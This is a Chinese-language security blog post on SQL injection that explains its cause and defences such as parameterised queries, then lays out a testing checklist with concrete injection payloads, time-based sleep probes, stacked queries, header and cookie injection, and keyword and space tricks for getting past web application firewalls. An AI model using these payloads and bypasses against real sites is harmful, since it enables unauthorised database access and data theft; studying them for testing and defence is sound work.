SQL 注入的原理及测试
SQL 注入原理:
SQL 注入的本质是代码与数据未分离。当用户可控的输入被直接拼接到 SQL 语句中执行时,攻击者可以通过构造恶意输入改变原有 SQL 的逻辑,从而执行非预期的数据库操作。
产生条件有两个:
- 用户可控:输入参数用户可以控制
- 拼接执行:输入被直接拼接到 SQL 语句中并执行
SQL注入的检测与攻击技术:
检测思路:
先寻找注入点 → 判断字段数 → 逐步查询数据库名、表名、列名,最终获取敏感数据。
常见攻击类型:
| 中文名 | 原理 | 利用条件 |
|---|---|---|
| 联合查询注入 | 利用 union 联合查询拼接结果 | 页面有回显位 |
| 报错注入 | 利用数据库函数的报错信息回显数据 | 页面显示数据库报错 |
| 布尔盲注 | 基于页面真假变化逐位猜解数据 | 页面有布尔状态变化 |
| 时间盲注 | 利用 sleep 等函数的执行时间差猜解 | 页面无任何回显 |
| 堆叠注入 | 堆叠执行多条 SQL 语句 | 后端支持多语句执行 |
SQL注入的防御方法:
- 预编译(参数化查询):最有效的防御手段,使用
?占位符绑定变量,攻击者无法改变 SQL 结构。 - 使用存储过程:将 SQL 逻辑封装在存储过程中,但存储过程内部如果拼接字符串仍可能存在注入。
- 检查数据类型:对输入做严格的类型校验,比如数字型参数强制转 int。
- 使用安全函数:利用数据库厂商提供的转义函数或 ORM 框架,增强安全性。
- WAF 防护:部署 Web 应用防火墙,拦截常见的注入 payload。
预编译为什么能防注入?
预编译是先把 SQL 语句结构发送给数据库编译好,再把参数传进去。参数永远只是 “数据”,不会被当成 “代码” 解析,所以攻击者无法改变 SQL 逻辑。
但预编译不是万能的:如果 SQL 语句本身是动态拼接的(比如表名、列名、ORDER BY 字段),预编译就防不住,这些位置必须用白名单校验。
SQL 注入:
1. 找注入点
加 ' → 报错/页面变化 = 有注入
2. 测闭合
| 测试语句 | 正常 | 报错 | 结论 |
|---|---|---|---|
1' |
- | ✅ | 有单引号闭合 |
1" |
- | ✅ | 有双引号闭合 |
1') |
- | ✅ | 有括号 + 单引号 |
1')) |
- | ✅ | 两层括号 + 单引号 |
1' and '1'='1 |
✅ | - | 单引号闭合 |
1" and "1"="1 |
✅ | - | 双引号闭合 |
1') and ('1'='1 |
✅ | - | 括号 + 单引号 |
3. 判类型
| 注入类型 | 判断方法 | 测试语句 |
|---|---|---|
| 数字型 | and 1=1 正常 + and 1=2异常 |
1 and 1=2--+ |
| 字符型 | 加 '报错 + ' and '1'='1正常 |
1' and '1'='1--+ |
| 搜索型 | 加 %'闭合测试 |
1%' and 1=1 and '%'=' |
| 排序注入 | 排序参数 + desc/asc有变化 |
?sort=id desc / ?sort=id asc |
| LIMIT 注入 | 分页参数 + 报错注入测试 | ?page=1 and 1=2--+ |
| IN 注入 | 多选 / 批量参数 + 闭合括号 | ?ids=1) and 1=2--+ |
| INSERT 注入 | 注册 / 新增功能 + 报错注入 | username=1' and sleep(5)# |
| UPDATE 注入 | 修改资料功能 + 报错注入 | nickname=1' and sleep(5)# |
| Cookie 注入 | 改 Cookie 值加 '报错 |
Cookie: id=1' |
| Header 注入 | 改 UA/XFF/Referer 加 ' |
User-Agent: ' and sleep(5)# |
| 堆叠注入 | 加分号 + sleep 测试 | 1;sleep(5)--+ |
| 宽字节注入 | %df'测试 + addslashes 特征 |
1%df' and 1=2--+ |
| 二次注入 | 注册带注入的账号 + 登录触发 | 注册 admin'#,再登录 |
3. 测 WAF
逐个试关键字:and or union select ' # 空格 order by sleep
被拦了就试:
- 空格 →
/**/%0a - 关键字 → 双写
anandd、大小写SeLeCt - 单引号 → 宽字节
%df'
4. 判列数
| 方法 | 适用场景 | 测试语句 |
|---|---|---|
| order by 法 | 最常用 | 1' order by 10--+ 报错就减半,直到找到边界 |
| group by 法 | order by 被过滤 | 1' group by 10--+同上,二分法找边界 |
| union select 法 | union 能用 | 1' union select 1,2,3--+不报错就是对的 |
| 报错注入法 | 有报错回显 | 1' and 1=2 union select * from (select 1)a join (select 2)b--+看报错信息 |
| 盲注法 | 啥都没有 | 1' and (select * from flag)=1--+看列数报错信息 |
5. 选姿势
| 情况 | 用什么 |
|---|---|
| 有回显 | 联合注入 |
| 有报错 | 报错注入 |
| 有真假变化 | 布尔盲注 |
| 啥都没有 | 时间盲注 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Echoin 的博客!